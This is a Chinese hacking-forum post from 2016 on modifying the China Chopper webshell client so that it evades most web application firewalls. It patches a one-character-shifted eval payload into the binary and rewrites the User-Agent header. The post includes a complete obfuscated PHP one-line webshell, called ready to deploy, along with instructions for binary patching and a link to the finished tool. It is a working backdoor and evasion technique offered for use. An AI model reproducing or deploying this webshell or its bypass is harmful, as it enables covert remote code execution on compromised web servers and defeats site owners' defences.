[元旦快乐]过大部分waf的菜刀

2016-12-31 02:06:33 48 6801 5


明天就是元旦了,在这里祝各位道友新年快乐,特送上元旦贺礼一份!多谢7哥(@7kbStorm)、@接地气、@0xShin的帮忙。
自求助帖:https://www.t00ls.com/thread-37428-1-1.html发布以后,该贴一直在本周热门榜第一位,直到“T00ls第四届(2016)年度人物风云榜 会员投票”开贴一天后才位居第二,说明好多人关注这个帖子。5楼也附上了一款过waf菜刀.后来研究过后有了一个过大部分waf 的方法。
思路:PHP版,发送的数据为:
密码=@eval(base64_decode($_POST[z0]));&z0=base64值
waf检测的时候不会把base64加密的数据解码来匹配正则,也就是说waf只匹配:@eval(base64_decode($_POST[z0]));
那我们把@eval(base64_decode($_POST[z0]));用凯撒密码加密方式来进行加密,在shell里进行解密,这样就可以绕过大部分waf了。

菜刀还是求助帖中5楼提供的刀,用C32打开,然后搜索@eval(base64_decode($_POST[z0])); ,并替换为:Afwbm)cbtf75`efdpef)%`QPTU\{1^**<     (Afwbm)cbtf75`efdpef)%`QPTU\{1^**<为@eval(base64_decode($_POST[z0])); 按照ascii码顺序表移动一位后的结果。)

PS:这里不用base64加密的原因在于加密后的数据长度和原数据长度不相等,修改较麻烦。
OK,然后保存一下,然后运行程序,抓取数据包发现:

的确已经修改完成。
然后在shell中添加代码:
$arr = stripcslashes($_POST[x]);
        for($i=0;$i<strlen($arr);$i++){
                $arr[$i]=chr(ord($arr[$i])-1);
        }
只需加上把post来的数据进行解码的就行,这样你可以直接把坛子里面的免杀马儿拿过来加一段代码就可以用了。其实还是很方便的,也不怕菜刀有后门,因为普通菜刀连不上。
比如:https://www.t00ls.com/viewthread.php?tid=37191 此贴中的一句话拿来做下修改:
<?php 
$a=md5('ssss');
echo $a.'';
$b=substr($a,2,2)+37;
$s=$b+18;
$e=substr($a,-7,1);
$r=$s-1;
$t=$r+2;
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
$arr = stripcslashes($_POST['sx']);
for($i=0;$i<strlen($arr);$i++){
                $arr[$i]=chr(ord($arr[$i])-1);
        }
$z($arr);
?>
即可直接投入使用。

到这里还没有结束,因为这款菜刀比较老,是2011/11/16版的,UA头也是容易被拦截的,测试360网站卫士就拦截它,所以还要进行修改UA头,坛子里面有贴子:
https://www.t00ls.com/viewthread.php?tid=22812
照葫芦画瓢即可,但是这里要强调一点,也是自己遇到的一个坑点,由于改后的UA比原本的UA长,因此我们需要在程序领空的其他空白地方进行修改,免得覆盖程序代码,用C32修改以后:

这里看到C32里面显示的是文件偏移地址,而OD显示的是内存偏移地址,那两者该如何换算呢?
百度一下,有两种常用法子:
1.虚拟地址 = 基地址 + 相对虚拟地址     PS:没看懂
2.偏移量转换器 ,下载了一个转化发现:00000A70给转化成了A70,这也不对呀。。

问了别人一下:某友跟我讲要用一个星期去学习PE结构,不懂PE结构没法跟我说,但是:后来我发现,在OD可以直接搜索文件偏移地址:



然后调到原来UA的压栈地址,修改为新UA的内存地址,再保存:


成品下载:

TCV=0

只对php进行修改了,asp没搞懂,菜刀连接asp发送的数据包里面有多个Execute以及某些数据是%s代替的,因此,未对asp以及其他做修改,各位牛自己发挥吧。

关于作者

AdminTony65篇文章1095篇回复

评论48次

要评论?请先  登录  或  注册